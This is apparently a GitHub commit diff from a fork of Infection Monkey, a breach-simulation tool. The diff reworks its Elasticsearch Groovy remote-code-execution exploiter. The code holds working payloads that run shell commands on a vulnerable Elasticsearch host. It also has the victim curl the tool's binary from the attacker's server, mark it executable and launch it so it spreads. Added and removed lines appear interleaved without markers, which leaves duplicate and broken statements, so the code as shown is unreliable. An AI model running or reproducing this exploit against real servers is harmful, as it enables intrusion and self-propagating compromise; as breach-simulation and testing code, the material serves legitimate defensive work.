forked from p34709852/monkey
Merge pull request #181 from VakarisZ/elastic_with_framework
Elastic with framework
This commit is contained in:
itaymmguardicore
GitHub
commit
61592776e9
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@ -6,225 +6,52 @@
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import json
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import logging
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import requests
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from exploit.web_rce import WebRCE
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from model import WGET_HTTP_UPLOAD, RDP_CMDLINE_HTTP
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from network.elasticfinger import ES_PORT, ES_SERVICE
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from exploit import HostExploiter
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from model import DROPPER_ARG
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from network.elasticfinger import ES_SERVICE, ES_PORT
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from tools import get_target_monkey, HTTPTools, build_monkey_commandline, get_monkey_depth
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import re
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__author__ = 'danielg'
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__author__ = 'danielg, VakarisZ'
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LOG = logging.getLogger(__name__)
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class ElasticGroovyExploiter(HostExploiter):
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class ElasticGroovyExploiter(WebRCE):
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# attack URLs
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BASE_URL = 'http://%s:%s/_search?pretty'
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MONKEY_RESULT_FIELD = "monkey_result"
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GENERIC_QUERY = '''{"size":1, "script_fields":{"%s": {"script": "%%s"}}}''' % MONKEY_RESULT_FIELD
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JAVA_IS_VULNERABLE = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.Runtime\\")'
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JAVA_GET_TMP_DIR = \
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GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.System\\").getProperty(\\"java.io.tmpdir\\")'
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JAVA_GET_OS = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.System\\").getProperty(\\"os.name\\")'
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JAVA_CMD = GENERIC_QUERY \
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% """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()"""
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JAVA_GET_BIT_LINUX = JAVA_CMD % '/bin/uname -m'
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DOWNLOAD_TIMEOUT = 300 # copied from rdpgrinder
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_TARGET_OS_TYPE = ['linux', 'windows']
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def __init__(self, host):
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super(ElasticGroovyExploiter, self).__init__(host)
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self._config = __import__('config').WormConfiguration
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self.skip_exist = self._config.skip_exploit_if_file_exist
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def is_os_supported(self):
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"""
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Checks if the host is vulnerable.
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Either using version string or by trying to attack
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:return:
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"""
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if not super(ElasticGroovyExploiter, self).is_os_supported():
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return False
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def get_exploit_config(self):
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exploit_config = super(ElasticGroovyExploiter, self).get_exploit_config()
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exploit_config['dropper'] = True
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exploit_config['url_extensions'] = ['_search?pretty']
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exploit_config['upload_commands'] = {'linux': WGET_HTTP_UPLOAD, 'windows': RDP_CMDLINE_HTTP}
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return exploit_config
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if ES_SERVICE not in self.host.services:
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LOG.info("Host: %s doesn't have ES open" % self.host.ip_addr)
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return False
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major, minor, build = self.host.services[ES_SERVICE]['version'].split('.')
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major = int(major)
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minor = int(minor)
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build = int(build)
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if major > 1:
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return False
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if major == 1 and minor > 4:
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return False
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if major == 1 and minor == 4 and build > 2:
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return False
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return self.is_vulnerable()
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def get_open_service_ports(self, port_list, names):
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# We must append elastic port we get from elastic fingerprint module because It's not marked as 'http' service
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valid_ports = super(ElasticGroovyExploiter, self).get_open_service_ports(port_list, names)
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if ES_SERVICE in self.host.services:
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valid_ports.append([ES_PORT, False])
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return valid_ports
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def exploit_host(self):
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real_host_os = self.get_host_os()
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self.host.os['type'] = str(real_host_os.lower()) # strip unicode characters
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if 'linux' in self.host.os['type']:
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return self.exploit_host_linux()
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else:
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return self.exploit_host_windows()
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def exploit_host_windows(self):
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"""
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TODO
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Will exploit windows similar to smbexec
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:return:
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"""
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return False
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def exploit_host_linux(self):
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"""
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Exploits linux using similar flow to sshexec and shellshock.
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Meaning run remote commands to copy files over HTTP
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:return:
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"""
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uname_machine = str(self.get_linux_arch())
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if len(uname_machine) != 0:
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self.host.os['machine'] = str(uname_machine.lower().strip()) # strip unicode characters
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dropper_target_path_linux = self._config.dropper_target_path_linux
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if self.skip_exist and (self.check_if_remote_file_exists_linux(dropper_target_path_linux)):
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LOG.info("Host %s was already infected under the current configuration, done" % self.host)
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return True # return already infected
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src_path = get_target_monkey(self.host)
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if not src_path:
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LOG.info("Can't find suitable monkey executable for host %r", self.host)
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return False
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if not self.download_file_in_linux(src_path, target_path=dropper_target_path_linux):
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return False
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self.set_file_executable_linux(dropper_target_path_linux)
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self.run_monkey_linux(dropper_target_path_linux)
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if not (self.check_if_remote_file_exists_linux(self._config.monkey_log_path_linux)):
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LOG.info("Log file does not exist, monkey might not have run")
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return True
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def run_monkey_linux(self, dropper_target_path_linux):
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"""
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Runs the monkey
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"""
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cmdline = "%s %s" % (dropper_target_path_linux, DROPPER_ARG)
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cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1, location=dropper_target_path_linux)
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cmdline += ' & '
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self.run_shell_command(cmdline)
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LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
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self._config.dropper_target_path_linux, self.host, cmdline)
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if not (self.check_if_remote_file_exists_linux(self._config.dropper_log_path_linux)):
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LOG.info("Log file does not exist, monkey might not have run")
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def download_file_in_linux(self, src_path, target_path):
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"""
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Downloads a file in target machine using curl to the given target path
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:param src_path: File path relative to the monkey
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:param target_path: Target path in linux victim
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:return: T/F
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"""
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http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
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if not http_path:
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LOG.debug("Exploiter %s failed, http transfer creation failed." % self.__name__)
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return False
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download_command = '/usr/bin/curl %s -o %s' % (
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http_path, target_path)
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self.run_shell_command(download_command)
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http_thread.join(self.DOWNLOAD_TIMEOUT)
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http_thread.stop()
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if (http_thread.downloads != 1) or (
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'ELF' not in
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self.check_if_remote_file_exists_linux(target_path)):
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LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__)
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return False
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return True
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def set_file_executable_linux(self, file_path):
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"""
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Marks the given file as executable using chmod
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:return: Nothing
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"""
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chmod = '/bin/chmod +x %s' % file_path
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self.run_shell_command(chmod)
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LOG.info("Marked file %s on host %s as executable", file_path, self.host)
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def check_if_remote_file_exists_linux(self, file_path):
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"""
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:return:
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"""
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cmdline = '/usr/bin/head -c 4 %s' % file_path
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return self.run_shell_command(cmdline)
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def run_shell_command(self, command):
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"""
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Runs a single shell command and returns the result.
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"""
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def exploit(self, url, command):
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command = re.sub(r"\\", r"\\\\\\\\", command)
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payload = self.JAVA_CMD % command
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result = self.get_command_result(payload)
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LOG.info("Ran the command %s on host %s", command, self.host)
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return result
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def get_linux_arch(self):
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"""
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Returns host as per uname -m
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"""
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return self.get_command_result(self.JAVA_GET_BIT_LINUX)
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def get_host_tempdir(self):
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"""
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Returns where to write our file given our permissions
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:return: Temp directory path in target host
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"""
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return self.get_command_result(self.JAVA_GET_TMP_DIR)
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def get_host_os(self):
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"""
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:return: target OS
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"""
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return self.get_command_result(self.JAVA_GET_OS)
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def is_vulnerable(self):
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"""
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Checks if a given elasticsearch host is vulnerable to the groovy attack
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:return: True/False
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"""
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result_text = self.get_command_result(self.JAVA_IS_VULNERABLE)
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return 'java.lang.Runtime' in result_text
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def get_command_result(self, payload):
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"""
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Gets the result of an attack payload with a single return value.
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:param payload: Payload that fits the GENERIC_QUERY template.
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"""
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result = self.attack_query(payload)
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if not result: # not vulnerable
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return ""
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return result[0]
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def attack_query(self, payload):
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"""
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Wraps the requests query and the JSON parsing.
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Just reduce opportunity for bugs
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:return: List of data fields or None
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"""
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response = requests.get(self.attack_url(), data=payload)
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response = requests.get(url, data=payload)
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result = self.get_results(response)
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return result
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def attack_url(self):
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"""
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Composes the URL to attack per host IP and port.
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:return: Elasticsearch vulnerable URL
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"""
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return self.BASE_URL % (self.host.ip_addr, ES_PORT)
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if not result:
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return False
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return result[0]
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def get_results(self, response):
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"""
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